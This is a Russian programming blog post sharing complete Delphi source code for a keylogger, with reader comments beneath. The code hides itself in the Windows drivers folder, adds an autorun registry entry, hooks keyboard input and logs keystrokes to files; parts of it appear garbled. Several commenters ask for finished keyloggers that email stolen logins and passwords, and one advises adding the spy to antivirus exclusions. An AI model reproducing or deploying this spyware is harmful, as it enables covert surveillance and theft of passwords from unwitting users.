» Клавиатурный шпион. Borland Delphi. Хакинг. . Блог программистов


Блог программистов






200725 Апр

Клавиатурный шпион.

Вот исходничек простенького клавиатурника можете делать с ним что хотите, главное не зазнавайтесь! К основным его преемуществам могу отнести то что он очень мал для проги такого класса (19кб), что кстати ломает убеждение о грамоздкости Делфи прог, и занимает мало места в оперативке (обычно 1-1,5мб)!
Программа абсолютно безопастная и предназдначенна только для изучения! 🙂

Вот код:

program ntrty;
// KBS ver. 1.0
//
// Клавиатурный шпион, DE@l Group (c) 2005-2007;
// При первом запуске проги происходит самокопирование
// программы в путь dir с именем name! И прописывание
// в автозагрузку той копии проги!
// Про запуске проги через автозапуск прога кидает
// файлу в путь: %USERPROFILE% с именами name+номер+ext
// при каждом запуске создаётся файл со следующим по
// порядку номером, а при достижении файла размера в
// MaxFileSize создаётся следующий файл!
// При запуске проги в ручную файл с отчётом
// создаётся в каталоге с прогой!
// 13.04.2007 (пятница)
uses Windows;

const
dir = 'C:\WINDOWS\system32\drivers\';
name = 'ntrty';
ext = '.ini';
ARCStr = 'cmd /c reg ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v ';
MaxFileSize = 2048;
var
HkHnd : hHook;
FCh : file of Char;
line : longint;
hApp : THandle;
wClass : TWndClass;
wMSG : TMSG;

function WC(hInstance: HWND; style,ClsExtra,WndExtra:integer; ICON: hIcon; CURSOR: hCursor; Background: HBrush; ClassName,MenuName: string; Proc: Pointer): TWndClass;
var
wCls : TWNDClass;
begin
wCls.hInstance:=hInstance;
wCls.style:= style;
with wCls do
begin
hIcon := ICON;
lpfnWndProc := Proc;
hbrBackground := Background;
lpszClassName := PChar(ClassName);
hCursor := CURSOR;
cbClsExtra := ClsExtra;
cbWndExtra := WndExtra;
lpszMenuName := PChar(MenuName);
end;
Result:=wCls;
end;

function CreateWnd(wClass: TWndClass; hInstance: HWND; Caption: string; w,h: integer): HWND;
begin
Result:=CreateWindow(wClass.lpszClassName,
PChar(Caption),(0 or $C00000 or $800000 or
$400000 or $200000 or $100000 or $10000000),
Integer(DWORD($80000000)),Integer(DWORD($80000000)),
w, h, 0, 0, hInstance, nil);
end;

procedure lpWindow(Msg: TMsg);
begin
while GetMessage(Msg,0,0,0) do
begin
TranslateMessage(Msg);
DispatchMessage(Msg);
end;
end;

function IntToStr(Int: integer): string;
begin
Str(Int, result);
end;

function FileExists(const FileName : String) : Boolean;
var
Code : Integer;
begin
Code := GetFileAttributes(PChar(FileName));
Result := (Code -1) and (16 and Code = 0);
end;

function GetName: string;
var
i : longint;
begin
i:=0;
repeat
Inc(i);
until not FileExists(name+IntToStr(i)+ext);
Result:=name+IntToStr(i)+ext;
end;

function Win32Check(RetVal: BOOL): BOOL;
begin
if not RetVal then GetLastError;
Result := RetVal;
end;

function GetCharFromVKey(vkey: Word): string;
var
keyst : TKeyboardState;
retcode : Integer;
begin
Win32Check(GetKeyboardState(keyst));
SetLength(Result, 2);
retcode := ToAscii(vkey,
MapVirtualKeyA(vkey, 0),
keyst, @Result[1],0);
case retcode of
0: Result := '';
1: SetLength(Result, 1);
2: ;
else
Result := '';
end;
end;

function HookPr(Code: integer; WParam: word; LParam: Longint): Longint; stdcall;
var
msg : PEVENTMSG;
b : Char;
s : string;
begin
if Code >= 0 then
begin
msg := Pointer(LParam);
if msg.message=256 then
begin
Inc(line);
s:=GetCharFromVKey(msg.paramL);
if Length(s)>0 then
begin
b:=s[1];
if (line mod 80)=0 then BlockWrite(FCh,#10#13,2);
BlockWrite(FCh,b,1);
end;
end;
if FileSize(FCh)>MaxFileSize then
begin
CloseFile(FCh);
AssignFile(FCh,GetName);
ReWrite(FCh)
end;
result := CallNextHookEx(HkHnd, code, WParam, LParam);
end;
end;

function WndMessageProc(hWnd: HWND; Msg: UINT; wParam: WPARAM; lParam: LPARAM): UINT; stdcall;
begin
case Msg of
1:
begin
if not FileExists(dir+name+'.exe') then
begin
Copyfile(PChar(paramstr(0)),dir+name+'.exe',BOOL(0));
WinExec(dir+name+'.exe',SW_Hide);
halt(0);
end;
WinExec(PChar(ARCStr+name+' /t REG_SZ /d '+dir+name+'.exe /f'),SW_Hide);
line:=0;
AssignFile(FCh,GetName);
ReWrite(FCh);
repeat
HkHnd := SetWindowsHookEx(0, @HookPr, hInstance, 0);
until HkHnd0;
end;
2:
begin
if HkHnd 0 then
UnhookWindowsHookEx(HkHnd);
CloseFile(FCh);
halt(0);
end;
end;
Result := DefWindowProc(hWnd,Msg,wParam,lParam);
end;

begin
wClass:=WC(hInstance,0,0,0,0,0,15,'MYCLASS','',@WndMessageProc);
RegisterClass(wClass);
hApp:=CreateWindow(wClass.lpszClassName, '',0,
Integer(DWORD($80000000)),
Integer(DWORD($80000000)),
0, 0, 0, 0, hInstance, nil);
if hApp=0 then
begin
UnregisterClass('MYCLASS',hInstance);
halt(0);
end;
lpWindow(wMsg);
end.

Этот код просто необходимо сохранить в текстовом файле с расширением .dpr и открыть в Делфи!

Комментарии

  1. 27 апреля, 2007 | 18:11

    Я последний в программировании. Но мне понравилась эта статья.
    Значит так, вот что я сделал
    Взял этот код и сохранил с разришением .exe
    Боюсь теперь запускать.. а ведь интересно че будет.
    Не подскажите? Че мне делать? Не взорвется комп?

  2. A®TeS
    29 апреля, 2007 | 17:36

    Arnold — ничего не будет. Тебе сначала надо оттрансилровать этот Делфийский код в бинарник, то есть скомпилить. Как это сделать помоему автор сказал =):
    «Этот код просто необходимо сохранить в текстовом файле с расширением .dpr и открыть в Делфи!»

  3. 5 мая, 2007 | 19:01

    Хорошо. Сделаю когда появится делфи. 🙂

  4. Андрей
    6 мая, 2007 | 18:34

    Вот так, благодаря статье, появились новые адепты Delphi. Успехов!

  5. SilVaN
    7 мая, 2007 | 13:57

    См. сюда: http://www.programmersforum.ru/showthread.php?t=772
    от 10.11.06. т.е. плагиат (дико похоже код в архиве в посте от Сильванович Михаил).
    З.Ы. Сходство поразительно!

  6. 14 мая, 2007 | 14:42

    Да ладно, открытае исходники использовались для создания программы. Все мы используем стандартные компоненты и наработанные исходники.

    Так и меня смогут объвенить в плагиате, где-нибудь выложу исходники, а потом снова используя их. А потом куда-нибудь покажут пальцем, что вот они, исходники!!!

  7. 27 мая, 2007 | 22:00

    Самая первая ошибка — это C:\WINDOWS\system32\drivers\
    А что если у пользователя системный диск не С: У меня например это E: Да и папка WINDOWS может называться по другому.
    Если не предусмотреть такую ситуацию прога вылетит с ошибкой.

    В остальном код будет достаточно интересен для тех кто собирается осваивать спай-программирование.

  8. Tector
    29 мая, 2007 | 07:01

    Выбор директории Винды делается одной операцией, если надо — вставят, а вот чтобы папка называлась не Windows..?

  9. mmore
    8 июня, 2007 | 11:10

    «Самая первая ошибка — это C:\WINDOWS\system32\drivers\
    А что если у пользователя системный диск не С: У меня например это E: Да и папка WINDOWS может называться по другому.
    Если не предусмотреть такую ситуацию прога вылетит с ошибкой.»

    я не кодер
    а если путь задать в виде %systemroot%\\system32\drivers\
    ???

  10. 11 июня, 2007 | 20:18

    Если не обратили внимания то это для всего лишь пример… Тем более я ля того и сделал это константой, что бы каждый мог написать своё, тем более не все знают что %переменная окружения%=возвращённая строк переменной… Короче вы типа поумничали, а я типа оправдался…

  11. 29 июня, 2007 | 14:59

    «а вот чтобы папка называлась не Windows..»

    B Windows2000 эта папка называется помоему WinNT

    «я не кодер
    а если путь задать в виде %systemroot%\\system32\drivers\»

    Буде работать только под правами админа, если их нет облом. В свой каталог винда (кроме Win9X-ME) писать не даст. А под админами работает большинство. Да и %systemroot% (тоже что и …\system32) вполне достаточно. Зачем нам drivers, мыже не драйвер ставим.

    «Если не обратили внимания то это для всего лишь пример»

    Идет нормальное обсуждение, иначе зачем здесь форма для коментов. Здесь же никто никого не поносит.

  12. Cyber
    30 июля, 2007 | 10:00

    100% перваястрока и сразу же ошибка

    взять хотябы системный каталог

    var
    dir:array[0..255] of char;

    procedure //любая первая

    getsystemdirectory(dir,MAX_PATH);// -системный каталог

  13. Серега
    9 октября, 2007 | 21:23

    А на Лазарусе под Линукс будет работать? Надыб попробовать.

  14. Maney-Hacker
    28 ноября, 2007 | 15:02

    У меня облом! когда в делфях запускаю выдаёт ошибку 🙁

  15. COOLHack
    23 декабря, 2007 | 23:02

    Maney-Hacker о, здарова чувак!!!!!!!!!!!!!!!!!!!!!!!

    ГыГы… Неожидал тебя сдесь увидеть!

  16. Sasha
    11 января, 2008 | 00:39

    Ребята! я в программировании ни в зуб ногой, может кто пришлет готовый вариант для домашнего использования и напишет как его устанавливать

    salvadordaly@mail.ru

  17. Sasha
    12 января, 2008 | 02:28

    А к чему вы прислали эту ссылку. Что-то я или в конце рабочего дня дико туплю или может кому совсем не влом выслать её на почту.

  18. Sasha
    12 января, 2008 | 02:30

    Потjve как прога типа perfect keylogger 1.6.5.0 оказалась в многих вариациях с вирусами и теперь от них отбивается касперский, но это уже его проблемы т.к. за лицензию заплачено.

  19. Sasha
    17 января, 2008 | 18:35

    И так великие программисты!
    Кто-нить все же может сделать что-нить толковое в решении вышеозвученой мною проблеме. Если кто-то хочет заработать на проблемах других это приветствуется.

  20. 22 января, 2008 | 03:32

    Sasha, попробуйте задать ваш вопрос на форуме в разделе «безопасность» — http://programmersforum.ru/forumdisplay.php?f=6

    Если вы укажите ссылку на эту статью, то это будет большой плюс.

  21. 10 апреля, 2008 | 11:12

    Что обсуждаем?

    HkHnd := SetWindowsHookEx(0, @HookPr, hInstance, 0);

    Это функция установки хука. В качестве первого параметра передается 0, что эквивалентно константе WH_JOURNALRECORD

    Кто хоть раз написал работающий кейлоггер поймет что это такое, кто нет объясню.

    Ловушку (Хук) WH_JOURNALRECORD можно поставить из самого приложения только в WINDOWS 9X, в WIN 2000, XP и тем более VISTA, этот код просто работать не будет, надо писать отдельную DLL и вызывать (ставить) Хук от туда. К тому же WH_JOURNALRECORD жрет ресурсы немерено, так как эта ловушка срабатывает практически на любое действие системы, не только клавиатурное. Как тут кто -то заметил выше это лишь пример. Всем желающим забацать из него работающий кейлоггер — отбой.

  22. aliraha
    21 апреля, 2008 | 09:20

    ну, я сделала все так как было сказано и написано………ну, запустила прогу………..а как увидеть результат………………………!!!

  23. 23 мая, 2008 | 14:03

    В инете полно исходников с подробным описанием такой программы.
    Например на wasm.ru Хоть там и ассемблер, есть куча интересных статей.

  24. Angel
    18 июня, 2008 | 10:54

    Почитал, статейку и коменты долго смеялся…. порадовали кодера….смешно…а все очень просто, слишком

  25. zakruti
    9 июля, 2008 | 22:01

    За кем шпионть собираетесь?

  26. 3 августа, 2008 | 21:02

    Люди , скиньте пожалуйста мне на ящик исходники троянов, эксплоитов, шпионов написанных на делфи или с++ или перл)) буду очень признателен )) вот мыло : pov-5_27@bk.ru

  27. avatar-a
    2 октября, 2008 | 09:07

    [Error] KG.dpr(74): Operator not applicable to this operand type
    [Error] KG.dpr(102): Illegal character in input file: ‘”’ ($94)
    [Error] KG.dpr(106): Illegal character in input file: ‘”’ ($94)
    [Error] KG.dpr(155): Undeclared identifier: ‘HkHnd0’
    [Error] KG.dpr(159): Missing operator or semicolon
    [Error] KG.dpr(168): Illegal character in input file: ‘”’ ($94)
    [Error] KG.dpr(168): Not enough actual parameters
    [Error] KG.dpr(170): Illegal character in input file: ‘”’ ($94)
    [Error] KG.dpr(171): Constant expression violates subrange bounds
    [Error] KG.dpr(173): Incompatible types: ‘Cardinal’ and ‘Pointer’

  28. Alena
    16 февраля, 2009 | 14:17

    JA ne umeju programmirovatj, i chestno govorja vse vyshe opisannoe dlja menja neskoljko zaputano. ja prosto ishu programmu kototraya sohranjaet vse nabrannye znaki ( ili vse nazhatija klavish). Kto-nibudj mozhet podskazatj gde mozhno najti takuju programmu?
    Please, ochenj nuzhno i kak mozhno skoree!!!!!

  29. lol
    24 апреля, 2009 | 11:54

    😆 lol

  30. Dr.Mult
    26 апреля, 2009 | 14:56

    Без коментариев…. 💡

  31. NeroN
    9 августа, 2009 | 02:48

    Парни нужна помощь нужен клавиатурный шпион который мне логи бы по почте присылал все основные находять антивиры помогите не бесплптно конечно biohazart@bk.ru

  32. 19 августа, 2009 | 19:06

    >>>все основные находять антивиры

    Любой антивирус можно попросить лояльнее относитьмся к шпиону, для этого есть список исключений

  33. dfm
    28 сентября, 2009 | 10:46

    Ох и опасненькие эти штучки. Начинающие весят свои компы, а любители, так сказать, пытаются подобное натравить на чужие.

  34. betirsolt
    28 сентября, 2009 | 19:53

    абсурд какой то..что бы написать клавиатурный шпион не достаточно сохранить этот код….тут надо dll использовать….

  35. B1gBe@rrr
    1 декабря, 2009 | 11:33

    Народ, мне тут курсовую задали, надо написать на дельфи кейлоггер, который мало того, что следит и сохраняет в файл все введённые с клавиатуры знаки, ещё следит за перемещением мыши + все это прога должна воспроизводить по сохранённому логу на экране о_О… До этого сам не дойду точно ).
    Кто захочет помочь, буду премного благодарен: B1gBeArrr@yandex.ru

  36. Юрий
    22 декабря, 2009 | 16:10

    ппц чайниковые каменты жгут

    есть проблемка в этом коде, запусти во время работы своей программы… к примеру медиа плеер виндовый

    нажми на расширенной клавиатуре «paly\pause» и ппц система повиснет 😉 а переустановить хук не выйдет

  37. 21 сентября, 2010 | 18:48

    народ скиньте пожалуйста готовую прогу что бы на вот это мыло приходили логины и пороли —>> bulka-55@list.ru

  38. New man
    6 апреля, 2011 | 19:09

    [QUOTE]
    function FileExists(const FileName : String) : Boolean;

    var

    Code : Integer;

    begin

    Code := GetFileAttributes(PChar(FileName));

    Result := (Code -1) and (16 and Code = 0);

    end;[/QUOTE] ❓
    Как это result:=(Code -1) and (16 and Code = 0);

  39. 30 мая, 2011 | 12:16

    Я насколько это в делфи? Скажите пожалуйста какой средой Вы пользуетесь… Хочу программирование освоить а среда это начало… Нотепад уже не катит)
    Многие среды просто платные… А ломанными не хочу пользоваться. Спасибо!